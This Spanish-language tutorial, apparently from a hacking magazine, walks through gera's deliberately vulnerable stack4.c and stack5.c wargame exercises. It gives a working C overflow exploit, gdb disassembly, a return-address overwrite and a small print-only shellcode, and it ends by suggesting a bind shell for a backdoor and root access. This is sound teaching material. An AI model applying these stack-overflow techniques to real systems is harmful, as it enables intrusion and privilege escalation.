Bienvenidos amigos, a lo largo de este artículo vamos a resolver los programas "stack4.c" y "stack5.c" que podemos encontrar en la web de gera, InsecureProgramming (imagen1):
http://community.core-sdi.com/~gera/InsecureProgramming/
El "stack4" se parece bastante a los "stack1","stack2" i "stack3" (resueltos en el número anterior), en cambio en el "stack5" se usará un poco de ensamblador a la hora de programar la shellcode, así que se sugiere al lector que tenga conocimientos básicos de ensamblador bajo Linux. Aun así habrán pequeñas anotaciones que ayudará a los nuevos en el tema a entender, al menos, el concepto de lo que se está llevando a cabo. Dejémonos de tonterías, vayamos alla!
IMAGEN 1
Stack4.c
Bien amigos, primero veamos su código fuente, el cual lo podemos observar en el "código1".
CÓDIGO 1
/* stack4-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you win!\n");
}
¿ Parece igual que los tres anteriores verdad ? Entonces lo más lógico tal vez sería probar a ver que pasa si modificamos el valor de cookie en los exploits viejos. Pues bien, vamos a verlo, primero las modificaciones, cambiamos:
Nombre: xpl3.c
16:
sc[92]=0x05;
sc[93]=0x00;
sc[94]=0x02;
sc[95]=0x01;
sc[96]='\n';
22:
Lo modificamos y ponemos la dirección que nos piden en stack4.c, de manera que tendremos lo siguiente:
Nombre: xpl4.c
16:
sc[92]=0x00;
sc[93]=0x0a;
sc[94]=0x0d;
sc[95]=0x00;
22:
Una vez hemos hecho esta pequeña modificación junto la del "execl", obtendremos el código que se puede ver en el "listado1". Ahora probemos de ejecutarlo a ver si realmente funciona:
LISTADO 1
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
main()
{
char sc[92+4+1]; //bytes de reyeno+contenido de cookie+'\0'
int pipes[2];
pid_t pidchild;
memset((void *)sc,'a',92);
//RELLENO DE SC
//metemeos el contenido de cookie
sc[92]=0x00;
sc[93]=0x0a;
sc[94]=0x0d;
sc[95]=0x00;
sc[96]='\n';
pipe(pipes);
fprintf(stderr,"eXploiting stack4\n");
if( !(pidchild=fork()) ){ //devuelve el PID
close(pipes[1]);
dup2(pipes[0],0);
close(pipes[0]);
execl("./stack4",NULL);
}
close(pipes[0]);
dup2(pipes[1],1);
close(pipes[1]);
write(1,sc,sizeof(sc));
waitpid(pidchild,0,0);
exit(0);
}
ss@LynaXa stack4 $ gcc xpl.c -o xpl
ss@LynaXa stack4 $ ./xpl
eXploiting stack4
buf: bffff4c0 cookie: bffff51c
ss@LynaXa stack4 $
Vaya vaya.... parece ser que esto no funciona nada bien, antes de debugar pensemos un poco a qué se puede deber que no funcione correctamente. Pensemos un poco lo que hemos hecho, hemos modificado la cadena que inyectamos con los valores que se nos pide, pero... tendrán algo escondido estos valores? El "0x00" ya sabemos que funciona correctamente con "gets", tal y como vimos en el número anterior. Por otra parte luego tenemos el "0x0a", hagamos un "man ascii" a ver a que caracteres corresponde:
[..]
Oct Dec Hex Char
---------------------------
...
012 10 0A LF '\n'
[..]
Ajá! Aquí tenemos al responsable de que esto no funcione correctamente, como todos sabemos, "man gets" en caso contrario, la función "gets" deja de leer cuando lee un "\n" (enter), así que lo que ocurre aquí es simplemente que al leer el segundo byte de cookie, lo interpreta como el final de la cadena. Pues vale, y ahora que hacemos ? Como diantre podemos arreglárnoslas para que esto funcione y se nos imprime el "you win!"... Primero recordemos un poco como quedaba la pila después de la ejecución del programa:
BasePila CimaPila
[XXX[ Buf ]XXXXXXXXXX[Cookie]XXXXX[Ret]XXX]
^-(0xbffff4c0) ^-(0xbffff51c)
Hagamos números. El contenido de cookie esta claro que no lo podemos poner de una tirada, por el problemilla este del "\n" (0x0a), así que... veamos que mas podemos usar.. .mmm solo nos queda la dirección de retorno "Ret", pero que hacemos con ella ? Pues la respuesta es simple, lo que vamos a hacer sera lo siguiente, vamos a modificarla de manera que en vez de retornar al sitio desde donde se llamo el programa, haremos que "Ret" nos lleve el puntero de ejecución al "printf", de esta manera conseguiremos que nos imprima la cadena "you win!", aun sin cumplir la condición anterior.
Ahora nos llegan un par de preguntas a la mente, en que maldita dirección se encuentra la instrucción del printf? Y lo mas importante, como modificamos "Ret" para que nos redirija donde queremos? Seguid leyendo :)
Localizando la dirección de printf en la memoria
Bueno, veamos primero la dirección de la instrucción que llama a printf, para hacerlo es muy sencillo, basta con desensamblar el "main" y mirar donde se llama a la función, en el listado2 hay los comandos completos que hemos usado para encontrar dicha dirección.
LISTADO 2
ss@LynaXa stack4 $ gdb stack4
GNU gdb 6.3
[..]
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>: push %ebp
0x080483b5 <main+1>: mov %esp,%ebp
0x080483b7 <main+3>: sub $0x78,%esp
[..]
0x080483f0 <main+60>: jne 0x80483fe <main+74>
0x080483f2 <main+62>: movl $0x804852c,(%esp)
0x080483f9 <main+69>: call 0x80482dc <_init+72>
0x080483fe <main+74>: leave
0x080483ff <main+75>: ret
End of assembler dump.
(gdb)
Fijémonos un poco en el listado2, ahí vemos el bloque de instrucciones que van de la dirección 0x080483f0 a 0x080483ff, que hace esa parte de código? Pues si nos fijamos primero tenemos un "jne" (JumpIfNotEqual) con lo que intuimos que esa es la comprobación del "if", nosotros queremos saltarla, pues la saltamos e iremos a la siguiente instrucción que se encuentra en la dirección:
0x080483f2: movl $0x804852c,(%esp)
En esta dirección se preparan los args del printf y justo después llamamos a printf usando call. Nosotros queremos imprimir "You win!", esta cadena esta definida en el propio programa y queremos que sea la que imprima, por lo tanto debemos redirigir el flujo de ejecución a la dirección: 0x080483f2. Ya que es donde se "configura" el printf con sus argumentos. Si redirigéramos el flujo justo encima de la instrucción "call", en la pila no estarían los argumentos apropiados, de manera que lo mas probable es que intentará leer de una posición a la cual no tiene acceso o simplemente no existe, así que daría un "SegFault".
Modificando RET
Ahora que ya sabemos a que dirección queremos saltar solo necesitamos sobreescribirla, para hacerlo, no necesitamos saber la dirección exacta de la dirección de retorno en la pila, basta con sobreescribirla con el valor correcto. Por lo tanto lo más sencillo que podemos hacer es rellenar todo el buffer que generará el desbordamiento con la dirección a la que queremos saltar, así seguro que acertamos. Veamos que modificaciones debemos aplicar al programa.
Modificando el exploit
Partiendo del exploit que hemos usado antes, vamos a poner un "for", que nos rellena un tamaño considerable de la cadena "sc", como os habréis dado cuenta, si usamos una cadena de 92 bytes, solo sobreescribiremos cookie, pero nosotros queremos sobreescribir aun mas lejos, así que haremos un string de un tamaño considerable para que sobreescriba mucha memoria, no es una forma elegante, pero funciona :). Así que las modificaciones se pondrán a la hora de generar la string, veamos como la generaremos ahora:
9: char sc[1024]; //La definimos mucho más grande para asegurar
[..]
15: "for"( i=0 ; i<200; i+=4){
sc[i+3]='\x08';
sc[i+2]='\x04';
sc[i+1]='\x83';
sc[i]='\xf2';
}
22: sc[i]='\n'; //Para que "gets" coja la cadena
[..]
De esta manera antes de leer el stdin, "stack4" tendrá la stack de la siguiente manera:
BasePila CimaPila
[XXX[ Buf ]XXXXXXXXXX[Cookie]XXXXX[Ret]XXX]
^-(0xbffff4c0) ^-(0xbffff51c)
Una vez leída la cadena, la pila tendrá el aspecto siguiente:
[XXX[0xf2830408,0xf2830408,0xf2830408..][0xf2830408][0xf2830408....]
Recordad que lo añadimos al revés por el Little-Endian. Ahora vemos claramente que toda la pila queda llena de nuestra dirección, veamos que pasará al ejecutar nuestro programa:
ss@LynaXa stack4 $ gcc xpl.c -o xpl
ss@LynaXa stack4 $ ./xpl
eXploiting stack4
buf: bffff4c0 cookie: bffff51c
you win!
ss@LynaXa stack4 $
Ahí lo tenemos, nos acabamos de saltar un "if" por todo el morro jeje. Esto es solo una pequeña parte de lo que podemos hacer con los Overflow, ahora veréis uno más parecido al funcionamiento de los exploits reales de la red :).
Stack5.c
Vamos ahora a por el siguiente ejercicio, el "stack5.c", como vemos en el código2 el valor de cookie es el mismo, veamos que pasa si usamos el exploit que hemos creado para "stack4":
CÓDIGO 2
/* stack5-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
ss@LynaXa stack5 $ ./Oldxpl
eXploiting stack5
buf: bffff4b0 cookie: bffff50c
you loose!
ss@LynaXa stack5 $
Juas!, era de esperar, pues ahora en el código original pone "you loose!" en vez del "you win!". Como haremos entonces para poder imprimir la sentencia "you win!" si no nos aparece en el código? Como siempre la respuesta es sencilla, ahora que sabemos que podemos modificar la dirección de retorno del programa, que tal si hacemos que apunte a un código que imprima la cadena "you win!" hecho por nosotros? Pues, exacto, imprimirá "you win!". Pues bien, vayamos a ello :).
Haciendo el código a ejecutar
Supongo que todos sabréis lo que es un código shell (ShellCode), para los que no lo sepan, les digo que es un código que se utiliza para ejecutar código arbitrario en un programa explotado (normalmente se ejecuta una shell, de ahí el nombre), este código se debe escribir en ensamblador, veamos nuestra shellcode en el listado3, si tenéis dificultades en entender lo que hace, aprender algo de ASM básico en Linux. Antes decir que la shellcode esta hecha en "nasm", veamos como ejecutarla:
LISTADO 3
section .data
;el 0x09 lo convertiremos a 0x0a ("\n"),
;incrementándolo luego (por el gets)
cadena db "You Win!",0x09,0x00
section .text
global _start
_start:
;incrementamos el 0x09
inc byte [cadena+8]
;preparamos los argumentos
;para nuestro write al stadout
mov eax,4
mov ebx,1
mov ecx,cadena
mov edx,9
inc edx
int 0x80
ss@LynaXa stack5 $ nasm -f aout shellcode.asm
ss@LynaXa stack5 $ ld shellcode.o -o shellcode
ss@LynaXa stack5 $ ./shellcode
You Win!
ss@LynaXa stack5 $
Como vemos funciona a la perfección. Así que ya tenemos nuestro pequeño código en ensamblador encargado de ejecutar el "write". Vayamos a prepararlo para que pueda ser inyectado en memoria, para ello primero hay que desensamblarlo, para ello usaremos "objdump" con la opción "-D" ("disassemble-all"), en el listado4 tenéis la salida del comando. Luego deberemos modificar el exploit para nuestros propósitos, para ello haremos lo siguiente:
- Desensamblamos el código para encontrar los OpCodes (Códigos de Operación).
- Formar con ellos un string (ShellCode).
- Cambiar alguna dirección (como la de la lectura de la string a imprimir).
- Finalmente rellenaremos el resto del buffer con la dirección al inicio de la ShellCode para que esta sea ejecutada al terminar el programa.
LISTADO 4
shellcode: file format elf32-i386
Disassembly of section .text:
08048094 <_start>:
8048094: fe 05 c0 90 04 08 incb 0x80490c0
804809a: b8 04 00 00 00 mov $0x4,%eax
804809f: bb 01 00 00 00 mov $0x1,%ebx
80480a4: b9 b8 90 04 08 mov $0x80490b8,%ecx
80480a9: ba 09 00 00 00 mov $0x9,%edx
80480ae: 42 inc %edx
80480af: cd 80 int $0x80
Disassembly of section .data:
080490b8 <.data>:
80490b8: 59 pop %ecx
80490b9: 6f outsl %ds:(%esi),(%dx)
80490ba: 75 20 jne 80490dc <__bss_start+0x18>
80490bc: 57 push %edi
80490bd: 69 6e 21 09 00 90 90 imul $0x90900009,0x21(%esi),%ebp
Como siempre partiremos del exploit del programa anterior, en este caso el exploit de stack4. Para saber los opcodes solo hace falta fijarnos en la columna del medio del listado4. El formato del fichero es el siguiente:
De esta manera, juntando todos los opcodes necesarios nos quedaría la shellcode siguiente (efectuando algunos cambios):
Tened en cuenta que esta shellcode se pondrá al principio del buffer que explotaremos (del cual sabemos la dirección gracias al "printf" de stack5.c), por eso necesitamos cambiar la dirección del "incb", ya que vamos a incrementar respecto al inicio del buffer. Así que la dirección final será:
Por otra parte debemos cambiar también la dirección que ponemos en "ecx" (corresponde a la dirección de la string), ya que ahora se encuentra en el inicio del buffer. Finalmente los "\x90" son NOP's (No OPeration) que sólo sirven para alinear el código en memoria, de lo contrario se leerían mal los opcodes. Ya os digo ahora que si lo probáis en casa todas las direcciones cambiarán, como es normal.
Después de hacer esto sólo necesitamos sobreescribir la dirección de retorno de igual manera que en stack4. Pero esta vez la dirección es otra, la del inicio de la shellcode ¿cual será? Pues muy sencillo:
Una vez hecho eso obtendremos el exploit que vemos en el listado5. Veamos que tal funciona:
Ahí lo tenemos :), haciendo que ejecute todo lo que queramos jajaja.
Buenos señores hasta aquí llego el final de los stacks del site de gera, ya se verá si se continúan los fascículos. De momento con esto ya tenéis una pequeña idea de como funcionan los exploits de Stack Overflow, aunque estos fueran simples, el concepto es el mismo. En este caso hemos usado una parida de shellcode que solo imprimía, imaginad ahora que hubiéramos puesto una que abriera un puerto y nos pusiera una shell escuchando en él. Tendríamos nuestra backdoor. Imaginad ahora que este programa se ejecuta con SUID activo, en ese caso en la shell tendríamos privilegios de r00t :).
Espero que os haya gustado, ya sabéis que esto no es más que una pequeña
introducción a este mundo, infinitamente extenso, la scene.